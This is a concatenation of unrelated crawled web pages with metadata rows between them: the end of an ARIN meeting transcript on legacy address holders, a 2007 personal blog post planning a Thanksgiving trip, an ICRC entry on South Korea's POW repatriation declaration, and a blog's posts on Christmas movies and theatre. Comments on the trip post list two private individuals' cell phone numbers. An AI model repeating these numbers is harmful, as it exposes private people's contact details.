Because in the -- like in the NRO NC and EC reports, we get a little idea of how they tie together, but there's never -- it's never been made explicitly clear to me how ICANN, IANA and the RIRs work together in whole, I guess.
Paul Vixie: John is taking that under advisement.
John Curran: I do think we need -- even in the materials we have, we have a good orientation to the normal IANA/ICANN/RIR system-ARIN relationship. We cover that. But that's the 101 course.
I think we might need the 210 course which says: And ICANN has this organization called the ASO and this is how it relates to the RIRs and this is how it relates to the global policy process.
Because that's not, to my knowledge, in our introductory materials, but it's almost an assumption to work on certain draft policies that hit the floor here.
Paul Vixie: John, I want to recommend that the background image for that handout be a can of Alphabet Soup.
[Laughter and applause]
I see no other questions. No hands. Oh, John.
John Sweeting: John Sweeting, ARIN AC. I have a quick announcement for the AC members. We'll try to get the meeting started -- the AC meeting started at 12:30 in -- I believe it's called Kingsway, which is upstairs.
Paul Vixie: We have a remote question.
Scott Leibrand: Yes, remote comment from Peter Gutierrez, UMass Amherst.
He says that legal defense incorporation in the reserves is going to make the reserve look like spare change when ARIN tries to take any legacy space from a legacy holder. He says: Full disclosure, we're in the process of signing an LRSA and have an RSA for other space.
Steve Ryan: I disagree.
Paul Vixie: We have disagreement from corporate counsel as to that assertion.
I'm questioning the -- there was an interesting word that was used in that remote comment. The word was "when." I don't consider it a given that ARIN will eventually find itself up against someone because we're trying to take something. So it's not a when. You know, it's a consideration. The community has raised it.
If you go back to the earliest years of the minutes of various ARIN meetings ten years ago, you'll see that working with the legacy holders has been, has come up. But I would question the word "when" there.
John, did you want to add anything?
John Curran: Yeah, just recognize ARIN does provide services to legacy holders, and legacy holders who have records in our registry have a wonderful, peaceful co-existence with ARIN.
And with regards to the "when," to the extent that legacy holders engage with ARIN in fraudulent behavior and submissions, currently that does trigger resource review, and that will result in reclamation of resources. And so far that has not caused us to tap into the ample legal reserves.
So "when" might be somewhat -- there's a "when" coming, but we're not sure which one it is.
Paul Vixie: Well, I also want to point out that the LRSA is a very lightweight agreement. It was designed to encourage people to sign up because it actually increases the rights that are on paper and does not really decrease the privileges that are not on paper.
So it's hoped that there won't be showdowns with anybody. There will be, of course, in the case of fraud. John's right about that. But it seems like it would be better if we just had more people signing the LRSA.
So everyone within the sound of my voice, please check it out and print out a copy and hand it to your lawyer if you're holding legacy space and it's not currently under any agreement.
Seeing no other hands up, no remote questions, and no one at the microphone, we're closing Q&A.
Thank you, John.
Closing Announcements and Meeting Adjournment
John Curran: Thank you, Paul.
Okay. It's time to adjourn the meeting. I have a couple of quick announcements I'd like people to know. The first one is that when the meeting closes, we all leave the room, things happen. The wireless gets shut down. You have about 30, 40 minutes once the meeting ends before the wireless disappears. So just be prepared.
For those people in other rooms for other meetings following on, we will have wireless but we need to orderly pack things up to get everything back to Chantilly in a timely manner. So be prepared.
Okay. Announcements. Meeting survey. Yes, indeed, there was a survey for today. Please fill it out. Give us comments, how we can run a better meeting. We're more than welcome -- that's how we've been able to do what we do today and do a reasonable job. Winner will be announced on the website.
Consolation prize. All of the entrants will be entered into a consolation prize. See, if you fill out this meeting survey it just rains down on you, prizes everywhere. Fill out your meeting survey. Even if you don't win today you could be entered in for the Nintendo Wii consolation prize.
Sponsors. Another round of applause for network connectivity by TELUS and equipment by EGATE.
Reminders, the wireless will be shut down.
That's it. Thank you for being a part of ARIN. We look forward to seeing you in Atlanta for ARIN XXVI. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '1', 'language_id_whole_page_fasttext': "{'en': 0.9727442860603333}", 'metadata': "{'Content-Length': '172447', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:GACRAS5DYGCOPOTT5LUL2VPKSXUOJFGW', 'WARC-Concurrent-To': '<urn:uuid:dae91fcf-13bf-4245-a39a-e740e20d3c9c>', 'WARC-Date': datetime.datetime(2015, 3, 1, 4, 26, 37), 'WARC-IP-Address': '199.43.0.44', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:YWQLPEJ4RUW4A4OUDHPPM5J44CA23TCO', 'WARC-Record-ID': '<urn:uuid:ee0d95f4-7f45-49ed-83d6-59ab489ad609>', 'WARC-Target-URI': 'https://www.arin.net/participate/meetings/reports/ARIN_XXV/mem_transcript.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:66cc967a-904d-43e2-b94e-68346cab902c>', 'WARC-Truncated': None}", 'previous_word_count': '26083', 'url': 'https://www.arin.net/participate/meetings/reports/ARIN_XXV/mem_transcript.html', 'warcinfo': 'robots: classic\r\nhostname: ip-10-28-5-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-11\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for February 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.04896438121795654', 'original_id': '16f31b02f6b65d7196aaa551405d63f189c0eead1e46098e3273648f49fe811a'} |
05 November 2007
Thanksgiving Weekend
Here's my current TIMELINE OF AWESOME:
Note: Matt and Zero are coming too.
1730 leave for airport
1800 actually leave for airport
1830 park and take shuttle to terminal
1900 airport security
2000 hang out in Admiral's Club (translation: free alcohol)
2300 takeoff (hopefully)
0500 land
0520 begin search for luggage and Daddy, take Zero outside to pee before he explodes
0600 find luggage and Daddy
0615 leave airport
0616 sleep in car
0715 sleep at home
1200 wake up, shower, change, and attempt to look presentable
1500 leave for grandparents in Chestnut Ridge for Thanksgiving dinner
1700 dinner
1830 ???
1100 leave for Borgata with Matt, Matthew Lippert, and Daddy
2000 arrive back home
2030 ???
1000 ???
1600 head into Manhattan
1700 ??? in Manhattan
2359 return home
1000 ???
1500 leave for airport
2100 arrive in California
Anyone who will be in town (New York or New Jersey) and wants to fill in a "???" should let me know.
whomajigi said...
I totally would but I'm like...70th tier in terms of importance. :P
dreamerj25 said...
I'd like to fill in a ??? !!
For my own reference: You're going to Manhattan on Sat at 4pm local time & leaving for airport at 3pm local time. Damn this military time thing!! :(
osmodion said...
Don't be silly, you're only 43rd tier.
Seriously though, I'd love to hang out with you at some point over the weekend. Pick a ???!
dreamerj25 said...
So did we say lunch on Saturday before you go to the City? Maybe a long lunch since it's been quite a while since we last saw each other!
whomajigi said...
43rd? Awesome. I've been promoted!
I live in Parsippany these days. What day will you be somewhere around there?
How about either the Saturday 10 for brunch or something or the Sunday one?
And of course let the 42nd tier people get first dibs. :)
mephistakitten said...
Maybe we could meet up with some of the college gang on one of the ???'s on the Saturday?
osmodion said...
Hmm... Parsippany. You just want to make life more complicated by living somewhere inconvenient.
Sunday might be family day, and dreamerj25 already claimed Saturday for lunch. Maybe we can meet up in Manhattan?
osmodion said...
Yep, lunch it is. Maybe make it brunch, so I can pretend to still be on PST.
osmodion said...
Yes! That's half the reason we'll be in Manhattan, but I haven't heard anything about others being in town and available.
Side note: wow do I miss the city. Los Angeles isn't a real city, it's just a squished suburb.
whomajigi said...
How dare I live in a nice place. Such nerve! I'd drive to you mind you.
I'm not comfortable driving in the city but I'll be there on Thursday for Thanksgiving with family. Unfortunately it looks like that day doesn't work.
Alas. It just doesn't seem to be in the cards. Curse you for getting my hopes up!
cbreakr said...
You're going on a trip with Lippert?
osmodion said...
Just a day trip to Atlantic City, unless his brother's football team has a playoff game that day.
dreamerj25 said...
Hey there. What time & where are we meeting tomorrow? :)
osmodion said...
My housen 11am? I'm not sure if I'll have a car, so that's safest.
My cell is still 732 310 2868.
dreamerj25 said...
Perfect. I'll be there at 11. Mine's 732-865-2584 :) | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9436447024345398}", 'metadata': "{'Content-Length': '70000', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:7XRYKW6C63SSQZ5YC2CNFWUZJ4UUYFC7', 'WARC-Concurrent-To': '<urn:uuid:35f09fb1-76f9-41fd-a010-a2e195249e13>', 'WARC-Date': datetime.datetime(2019, 3, 22, 9, 51, 19), 'WARC-IP-Address': '172.217.8.19', 'WARC-Identified-Payload-Type': 'application/xhtml+xml', 'WARC-Payload-Digest': 'sha1:LS7QKMW4KC2YX4XWJTVKRSD2EXQJLPFY', 'WARC-Record-ID': '<urn:uuid:364b3821-8a79-4405-9d21-098b3d6f0856>', 'WARC-Target-URI': 'http://blog.osmodion.net/2007/11/thanksgiving-weekend.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:66bd9285-cb45-436d-bada-9442bbfb713b>', 'WARC-Truncated': None}", 'previous_word_count': '564', 'url': 'http://blog.osmodion.net/2007/11/thanksgiving-weekend.html', 'warcinfo': 'isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-69-221-252.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.028435111045837402', 'original_id': 'eaf1556ba8ce6acc3b3813609c8845af8f99af078c1eb7ded29eec60c71a3334'} |
Соответствующая норма
Republic of Korea
Section D. Voluntary nature of return
Upon accession to the 1949 Geneva Conventions, the Republic of Korea stated: “The Republic of Korea interprets the provisions of Article 118 [of the 1949 Geneva Convention III], paragraph 1, as not binding upon a Power detaining prisoners of war to forcibly repatriate its prisoners against their openly and freely expressed will.”
Republic of Korea, Interpretative declarations made upon accession to the 1949 Geneva Conventions, 16 August 1966. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '3', 'language_id_whole_page_fasttext': "{'en': 0.8382778167724609}", 'metadata': "{'Content-Length': '90232', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:3G6UV4KRP4YGQA7D6M6AJN2HDEY3DN77', 'WARC-Concurrent-To': '<urn:uuid:fefd3690-c6a2-456d-8df3-ba167f76122e>', 'WARC-Date': datetime.datetime(2021, 1, 17, 19, 7, 14), 'WARC-IP-Address': '80.94.147.213', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:YDWCENWPSYQVXV5R4Y53QEJOG733EM7I', 'WARC-Record-ID': '<urn:uuid:c7956a0a-ca5d-45f9-b940-809555ef8ac7>', 'WARC-Target-URI': 'https://ihl-databases.icrc.org/customary-ihl/rus/print/v2_cou_kr_rule128_sectiond', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:e8bc47e1-0859-489a-b827-95e0b41975fc>', 'WARC-Truncated': None}", 'previous_word_count': '91', 'url': 'https://ihl-databases.icrc.org/customary-ihl/rus/print/v2_cou_kr_rule128_sectiond', 'warcinfo': 'isPartOf: CC-MAIN-2021-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2021\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-23.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.17223238945007324', 'original_id': 'aca68d6d8fdbd269b6e211e8eb8c001818a0506346e567a37ade345ffda53b9b'} |
Posts tagged ‘Movies’
Many media outlets have declared that the Hallmark family of channels are the most watched channels in November and December because of their plethora of family-friendly holiday movies. While many of the movies offered during those 60-some-odd days are ones that have been recycled from previous years, each year Hallmark debuts 20-30 new movies celebrating the season. Many people (my husband included) denigrate these movies because they are somewhat predictable. Granted, most of the time the plots are pretty similar, but that doesn’t stop people from watching them, myself included. The annual marathon of holiday movies is over now, but the “lessons” these movies offer are worth noting.
Things I have learned watching Hallmark Channel Christmas movies:
1. If your name is “Amy,” you are the first wife, AND you died of cancer.
2. “North Pole Adjacent” is EITHER a veiled reference to Santa’s workshop OR it is a small town that does Christmas so perfectly that Santa would feel perfectly comfortable hanging out there in his down-time.
3. Never try to travel during winter weather if you are single and there is a single, good-looking member of the opposite sex anywhere in the vicinity. You will have car trouble or snow will cancel all the flights.
4. If a kid makes a “special Christmas wish,” it will come true before the end of the movie.
5. Members of royal families from obscure or fictional countries in Europe will never reveal their family backgrounds unless forced.
6. EVERYONE has Christmas traditions that include going caroling, making gingerbread houses, and baking cookies.
7. You can’t bake without getting flour everywhere, including the tip of your nose.
8. Even if it is Christmas eve, if you don’t have a tree, someone will get one for you and provide you with all the decorations you need.
9. Those gifted ornaments will instantly have significant meaning for you for the rest of your life.
10. Single moms are single because their horrible ex-husbands abandoned the family just before Christmas. Single dads are single because their wives died tragically. Either way, they have never really gotten over it.
11. Stringing popcorn is WAY easier in the movies than it is in real life.
12. No one adds alcohol to their eggnog because everyone (including the kids) drinks it at any time of the day.
13. Hot cocoa is magical and can cure anything, including a broken heart.
14. If there is an annual community celebration, it will be in danger of being cancelled for this or future years because of lack of funding, planning, or interest. Luckily, one or two people will be able to generate enough money and interest to save the town festival for years to come.
15. The federal law that allows cancellation of any contract valued over $25 within the first three days of signing does not exist, or terms of the contract have been written such that this law can be ignored.
16. Main characters who are angels will be able to become human again if they fall in love during their mission, but only if they are young and beautiful. Angels played by actors who are 40 or older will always be angels.
17. If someone is searching for long-lost family, the people helping them search will turn out to be the missing relatives they are looking for.
18. That man in town who “looks like” Santa is actually the real Santa. Somehow, he has managed to get time away from the North Pole to visit Vermont or Chicago or Seattle or wherever the story is taking place.
19. If you tell Santa your wish, it will come true.
20. If a main character starts the movie already in a relationship, that relationship will be with Mr./Miss Wrong. Their true soulmate will be a plot complication they meet in the first 20 minutes.
21. Service members who are deployed oversees will always be able to make it back in time for Christmas.
22. It will always snow in time for Christmas, even if you are living in a warm-weather place like southern California or Florida.
23. The most preposterous things can happen because of Christmas magic or Christmas miracles.
24. Even if there is an unexpected blizzard that suddenly hits the area, there is enough food in the refrigerator and pantry to feed a small army, including a whole turkey and gallons of fresh milk. And everyone drinks Folgers.
25. If you get a promotion at work within the first 15 minutes, you have the wrong job and will find your true calling soon.
26. For every 5 minutes of programming, there are 4 minutes of commercials, and no movie lasts more than 1 hour 30 minutes without commercials.
27. If you are stuck somewhere with your ex, it is because you are actually soulmates and this is your second chance to get it right.
28. Everyone has a fireplace.
29. Impromptu Christmas weddings will go off without a hitch. The couple will be able to secure a dress, a tux, a venue, a minister, a caterer, a florist, a professional photographer, and musicians, all within 48 hours, if necessary.
30. The only good Christmas tree is one you cut yourself.
This list could go on and on. The themes of family, togetherness, reflection, and opportunity run strong through Hallmark’s movies. Mistaken identities, true love, and fate will be fodder for Christmas movies as long as there is Christmas, and Hallmark has found a way to capture it all. They have a stable of actors that rivals the classic Hollywood studio system, and those same actors appear in multiple movies and series for Hallmark all year long. They also have a variety of locations that reappear over and over. There is one particular L-shaped, red brick house with a round turret that has been used in countless Larry Levinson movies. If I didn’t know better, I would think it was Levinson’s own house. Regardless, the similarities that run through Hallmark’s movies are consistent from movie to movie. If some people feel that this makes these movies boring and predictable, so be it. Nevertheless, for many of us, the “Countdown to Christmas” is part of our own holiday tradition. So here’s to finding your true love or your true calling and getting everything your heart sincerely desires, even if you don’t realize at first that’s what you really want.
And, if for some reason, you missed this year’s Hallmark Christmas movies, you can always go back and watch some of them on their new streaming service. Merry Christmas and Happy New Year!
We have a movie theater in our town that screens only classic films – ones that you are sure would have been amazing to watch on the large screen when they were new, but (at least in my case) they were new before you were born. This weekend they were screening It’s A Wonderful Life. Now, I have seen this movie so many times, I could probably recite the lines along with the movie, Rocky Horror style, but it is still the quintessential holiday film. There are others, of course – A Christmas Story, Miracle on 34th St., and just about any version of A Christmas Carol – but Wonderful Life seems to epitomize that simpler time that we all seem to long for. The question remains, if given the opportunity, would we really enjoy returning to that kind of existence? Or can we somehow find a compromise?
I think about all of the technological advances that have come, in a wide variety of fields, and I know that there are many I would be loathe to live without. At the top of my list would be some of the medical advances that have happened in the past 30 years, particularly in the area of breast cancer research. When I was 12, my paternal grandmother died of the disease. At that time, there was no such thing as yearly mammograms, ultrasound to inspect suspected lumps, or even any training on any front for women to self-examine. My grandmother did not even know she had cancer until it had spread so far into her body that there was not much anyone could do other than to make her comfortable until the end. Fast forward 25 years. One day, my mother found a lump. Within the span of two weeks, she had been examined by her doctor, had mammograms, a sonogram, a needle biopsy and a diagnosis. Within a week of that she had started treatment. Last month she met with her oncologist for the last time. After all, since she has been cancer-free for the last 10 years, he really doesn’t see the need for her ever to come back.
Similarly, the progress that has been made in the area of HIV-AIDS is amazing. When I was in high school, the worst thing that could happen to you if you had unprotected sex was a disease that required a visit to a doctor’s office and a rather embarrassing discussion that ended with a shot of penicillin. When I was in college, the worst was a viral disease that you would have for the rest of your life, with some rather unpleasant sores, but there were drugs that would control it. Toward the end of my college career was the first time I had heard of a sexually transmitted disease that could kill you, but even so, I figured I was immune, as I was never going to be having sex with a gay man. Today, there are over 30 million people living with HIV. Part of that statistic is the rampant spread of the disease in sub-Saharan Africa, but the other part is that today, due to medical advances that have occurred in the last 30 years, people are no longer dying of AIDS like they were in the 80’s. As a matter of fact, with proper treatment and maintenance, an person with HIV can expect to live a normal lifespan, into their 80’s or 90’s, with relatively few HIV-related problems.
I also think about communications. In Frank Capra’s world, the local police officer had to drive up and down the city streets, looking for George to let him know he was needed at home. Running out of gas on a lonely stretch of road used to mean hiking for miles or accepting a ride from a stranger. Clark Kent changed into Superman by ducking into the nearest telephone booth. Enter the cell phone, and suddenly theses scenarios are obsolete. And speaking of Superman, no where has there been a better harbinger of things to come than the scene in Superman: The Movie of Christopher Reeve desperately searching for a phone booth, only to discover an open-style pay phone with no enclosure or door. When cell phones first came into existence, they were big, bulky bricks that were unwieldy tools used only by certain business people. Today, if you are 12 and your parents haven’t gotten you a phone that allows you to text, surf the net, check your email, play games, take pictures and stream movies (not to mention make calls), you are considered a total dweeb by your peers. The ability to communicate with almost anyone on the planet at a moments notice is second nature to us now. I know I have felt lost on those rare occasions that I walk out the door without my phone. How can I call home to check in? What if I feel a sudden urge to call my aunt in Seattle while I am waiting in line at the grocery store? What if there’s an EMERGENCY? If only cell phone usage was limited to emergency situations . . .
Communication advances have also improved the dissemination of information. The advent of the 24-hour news channel and the internet makes us all aware of world news any time of the day or night. I was having a conversation with my husband just the other night about how Nancy Grace’s HLN show anymore seems to be nothing but trying to find the latest missing child. Now don’t get me wrong, I believe that a missing child, in any situation, is a horrendous tragedy that I would not ever wish on anyone. But 10 years ago, if a child went missing, it was local news. They didn’t broadcast it on any national networks, and there certainly wasn’t the attention given to missing children today. If a child goes missing today, the ability to let the entire country or world know about the situation, post pictures and descriptions, issue Amber Alerts, and get everyone looking for the child greatly improves the probability that that child will be returned home, safe and sound.
The information age has also sounded the death knell for the old door-to-door encyclopedia salesman. After all, who needs an encyclopedia when one has Google or Wikipedia? Despite that, when a neighbor held a garage sale several years ago, and had a World Book set from 1987 available for $10, I snatched it up. It’s not like there is suddenly going to be new information on folks like Beethoven, George Washington, or Elvis Presley. There is valuable information to be had in an encyclopedia, and even “outdated” ones can be useful. As a matter of fact, we now have two sets of encyclopedias in our home. The other set is Encyclopædia Brittanica from the 1880’s. It belonged to my great-grandparents. I figure if I am still around in 2080, I will buy another set. One every 100 years should keep me up to date. Seriously, having the world at my fingertips is an advance I would not want to give up. Being able to learn about situations around the world help me to appreciate what I have at home or, conversely, prompt me to try and improve myself and my situation.
In the working world, technology has improved the safety of the work environment, expanded job opportunities to entirely new classes of people, and improved the qualities of the products we buy. Labor unions gave workers the ability to unite forces and demand better working environments. Henry Ford’s assembly line revolutionized manufacturing. The US involvement in World War II introduced women to the manufacturing fields, and equal pay laws helped to level the playing field. At the same time, child labor laws forced children out of the factory and back into the schools, where, by improving their education, they are able to improve their prospects for employment opportunities in the future. And in “Research and Design”, the goal of trying to make the latest widget smaller, faster, stronger, cheaper, longer-lasting and more environmentally friendly seems to be never ending. Computer aided design makes reaching for that goal even easier. Engineers can “test” virtual models in a simulated environment without the cost of actually making a prototype. The end result being better products for the consumer at prices that seem to plummet the longer the product is on the market. Priced a GPS unit or big-screen TV lately?
All of this technology has admittedly improved our lives, but at what price? I am lucky if I can get my family to unite at the dinner table four nights a week. Even so, breakfast and lunch are usually in front of the TV, watching something or playing the XBox. I don’t know most of my kids’ friends because, rather than going to each others’ house’s to play, they party on their gaming systems and text each other late into the night. If they want to see each other, they wait until they are at school. Gone are the days of the entire gang descending upon one child’s house to raid the refrigerator and disappear to study or play a game or just “hang out.” Being able to talk to anyone at the drop of a hat doesn’t mean I am any more connected with those people who are most important in my life. On the contrary, I think to a certain extent I take for granted that I can talk to someone at any time, and therefore I don’t talk to them unless there is a pressing need.
For this holiday season, I propose that we all try and take a moment, and make our lives Wonderful. Take a look at the people around you and really appreciate them for who they are and how they contribute to your happiness. Look at the value of the quality of your life, not just the quantity of what you have. Turn off the cell phone and the TV and gather the family for some Christmas caroling in the neighborhood. Invite your friends to join you for Christmas Eve services at church, and repeat the following mantra:
Merry Christmas.
I grew up going to church. I still go to church. As a matter of fact, in my lifetime, I have attended many churches of varying denominations, and the messages were always the same – Love thy neighbor as thyself, Do unto others, and For God so loved the world, etc.. The problem is that much of the time, very nice, well-meaning people go to the church of their choice, listen to the sermon, recite the prayers, sing the songs, sit, stand or kneel when appropriate, and then go home, feeling that they have met their religious “obligation” for the week. (In the interest of full disclosure, I have to admit that I have, on occasion, fallen into this categorization myself.) It is one thing to say, “I believe,” and quite another to put that belief into behavior.
My husband is a Netflix junkie. He regularly scours the Netflix site looking for interesting things to add to our instant queue. Recently, he pulled up Netflix and told me, “You need to watch this movie. I watched it last night, and it was certainly not what I expected, but it was really good. You need to watch this.” And with that he started Lord, Save Us From Your Followers. If you have not heard of this movie, I highly encourage you to seek it out. It is available for instant streaming on Netflix, and has also been released on DVD. There is also a companion book (which I have not read, but would like to). The simple premise of this book/movie is “Why is the Gospel of Love dividing America?” Dan Merchant set out to discover why “Christians” have gotten such a bad rap over the years and why, if we all agree that Jesus calls his followers to “Love One Another,” we don’t seem to be doing that in our daily practice. It is a provocative look at faith and how that faith translates into daily behavior. Several years ago, a minister I knew told me that he believed that Religion had given Faith a bad name, and this movie really seems to drive that point home.
Now don’t get me wrong, this film is not Christian-bashing or Religion-bashing. It asks the question “What would Jesus do?’ and then sets out to try and answer it. Would Jesus have a political party affiliation? Would he be hanging out with the movers and shakers or would he be found with the homeless under the bridge? And if we are really striving to live “Christ-like” lives, what should we be doing? Ironically, several of the most “Christ-like” insights come from none other than Al Franken, a life-long Jew. Franken is not the only notable name that shows up in this film, either. Tony Campolo, Rick Santorum, Lars Larson, and Tom Krattenmaker also contribute their insights on the subject. Archival footage including the likes of Bono, President Bush, Bill Maher, Pope John Paul II, and Jon Stewart is also used. Many times when someone used archival footage under Fair Use, the user will “selectively edit” the footage to help support the point that they are trying to make (see “Michael Moore”), but I don’t get that here. Merchant uses footage to help tell the story, but his point is made without the footage by virtue of the first-hand experiences shown throughout the film. Merchant filmed a group going under the bridge for a once-a-week service to provide the homeless food, clothing, and personal hygiene. Watching that segment really made me stop and question what I had done recently to help those less fortunate.
Now, all the way through the movie, Dan Merchant stresses repeatedly that he is not trying to rate anyone, judge anyone, or belittle anyone for things that they may or may not have done in their lives. He is also not taking sides, by any stretch of the imagination. What he IS trying to do is “start the conversation” – get people talking about what they really believe, why they believe it, how strongly they believe it, and how that belief can be translated into action. What results is one of those films that seems to continue beyond the ending credits. It causes you to stop and think, and then want to talk about what you just experienced and how, if at all, it affected you.
Ironically, as we head, full-throttle, into the Christmas season, we see a lot more people doing those things that this movie encourages us to do year-round – giving to the less fortunate, taking time out of our busy lives to help another, and showing compassion and caring to everyone we encounter. When I was in my early teens, someone gave my mother a poster at Christmastime that said, “Jesus is the Reason for the Season.” She hung this poster up in our big eat-in kitchen, where we could see it every day, at every meal. I teased her in January when she did not take it down with the other Christmas decorations, but she told me she liked being reminded of that “Christmas feeling” even beyond Christmas. I didn’t understand then. I do now. So does Dan Merchant. I think Dan Merchant is a hero. Not the kind that rushes forward to face the danger, but the kind that is slowly, methodically, one person at a time, trying to change the world. And I like the direction he thinks we should take.
Every once in a while, I stumble upon a tidbit that reassures me that the modern experience is truly a universal one. This time, the story comes to me by way of a silly email I get once a week from a website that does nothing more than compile odd little news stories from around the globe. They got it from The Guardian in London, who got it from the Calgary (Canada) Herald, who got it from the Associated Foreign Press, who got it from the official state news service in China. So, in a way, the story is third- or fourth-hand, but I did take the time to look up the original Calgary story, so I feel rather confident sharing it here.
To set the scene: You see a trailer for a film you are interested in seeing. You go to the bank and speak to your friendly loan officer and see if you can get enough money scraped together to pay the current going rate for a movie ticket (OK, I might be exaggerating here). The paper says the movie starts at 7:30, so you diligently arrive at the theater at 7:20, buy your ticket and popcorn, and are snuggly in your seat promptly at 7:30. At which point the “Coming Attractions” begin. It is a modern nemesis, and it seems that there is nothing you can do about it, but one woman in the People’s Republic of China is taking back the power.
Chen Xiaomei, who just happens to be a lawyer, actually sued her local movie theater for wasting her time with 20 minutes of movie trailers. Granted, it will be a token suit, as she is only requesting damages that total about $12: actual damages of her ticket price, and the ticket price again, plus $1 as punitive damages for the Chinese equivalent of “pain and suffering”. She is also asking for a written apology and calling for pre-show ads to total no more than 5 minutes, with the actual ad times being listed in the paper along with the movie times. The whole thing will probably come to nothing, but it is the principle of the thing that impresses me.
After all, how many times have you sat in a darkened theater thinking, “Can we just get on with it, already?” I know I have, and I have always felt helpless to do anything about it. If you take into consideration that there are going to be trailers, and arrive fashionably late, then you have to try to find a seat in the dark. If you arrive on time, you have to sit there and watch the best 4 minutes of every movie being released in the next 18 months, along with the repeated “commercials” requesting you turn off your cell phone (I use that time to text friends). The longer these ads and announcements go on, the more restless and bored the audience gets, so they start talking to each other, and the next thing you know, you have missed the pivotal first 45 seconds of the movie because you were eavesdropping on the woman in front of you who was describing her recent gallbladder surgery to her companion. You have just wasted $7.50 (or more if the movie is 3-D). Now you only have two choices (OK, really you have three, but personal ethics prevent me from encouraging anyone to illegally download current run movies): you can either pay another ticket price and see the movie again, or you can wait for it to come out on DVD or Netflix and buy or rent it. Either way, since you have already missed the first 45 seconds, the entire rest of the movie will be ruined. You might as well have stayed home.
I hope Ms. Chen wins. I hope her local theater is suitably chastised and slapped on the wrist, and I hope that the rest of the world sits up and takes notice. Who knows, maybe this time next year, the local paper will be listing: “Doors open at 7:15, actual movie time at 7:53.”
I recently attended a production of “The King & I,” mounted by one of our local theater companies. While seeing the play, I found myself thinking, “This makes me want to go home and watch the movie.” Not that the play was bad – on the contrary – I thought the theater company had done an outstanding job. I think it lies more in the storytelling approach – same story, different format. Not necessarily better, just different.
It is kind of like books vs. movies. Reading a particular book for the first time is wonderful. You soak up the story, internalize it and envision it for yourself. If you want Brad Pitt or Tom Cruise to be the hero in your personal mental version, so be it. When Hollywood decides to make a movie out of your beloved story, and you find out that Jim Carrey is playing the lead, it puts a damper on your mental version. And then there are the omissions. There has never been a movie made from a book that includes every single aspect of the book, unless you include some of the recent movies made from children’s literature. It is hard to leave anything out of an hour-and-a-half long movie that is based upon a 32-page children’s story. No, I am talking about the Gone With the Winds, the Hunt For Red Octobers or any of the Harry Potters or the Twilights. Any time you read a book, and then later go see the movie, you walk out of the movie with a list of things excluded from the story, whether it is additional characters, side- or sub-plots, or any other such details that the filmmakers omitted for time purposes. It is impossible to take any book that falls into the 400 – 800 page category and winnow it down to 90 minutes and include everything. Something has got to give, and when details are left out, we take it to heart.
The same is true when you make the film vs. live theater comparison. Live theater is wonderful. It has evolved from the ancient times when, rather than being a form of entertainment, it was a way to communicate the latest news or stories to the masses. It became a form of storytelling in the oral tradition, recounting heroic or tragic battles, and continued to evolve to the creative storytelling format it is today – a combination of new and old stories, along with pieces that explore the human condition and, without making judgments, leave it to us to decide what is good or bad, right or wrong. I love live theater, and will continue to do so until my dying day, but movies do have some advantages. Movies can tell the same story that plays do, but they can do it with close-ups and vastly more orchestrated scores. It is one thing to watch Anna and the King waltzing around the stage in my local theater. They seem to be having a lot of fun. It is quite another to see Yul Brenner and Deborah Kerr dancing away, only to be followed by those close-ups, where the sexual tension is palpable. You feel it dripping in the air, and you want to shout out from your couch, “Go ahead and kiss her, already!” Of course, they never will, but there it is. Movies also have the advantage when it comes to location. During a theater production, it is easy to imagine the Maine woods and the old road where the berries grow, but On Golden Pond, the movie, showed us the lake, the woods, and the frightening confusion felt by Norman when he went looking for those berries. In a movie, you can bounce from the south of France to Rio de Janero to the North Pole, if you choose. In theater, you can only suggest those locations. The rest must be left to the audience’s imaginations. And when you come right down to it, imagination is the key point.
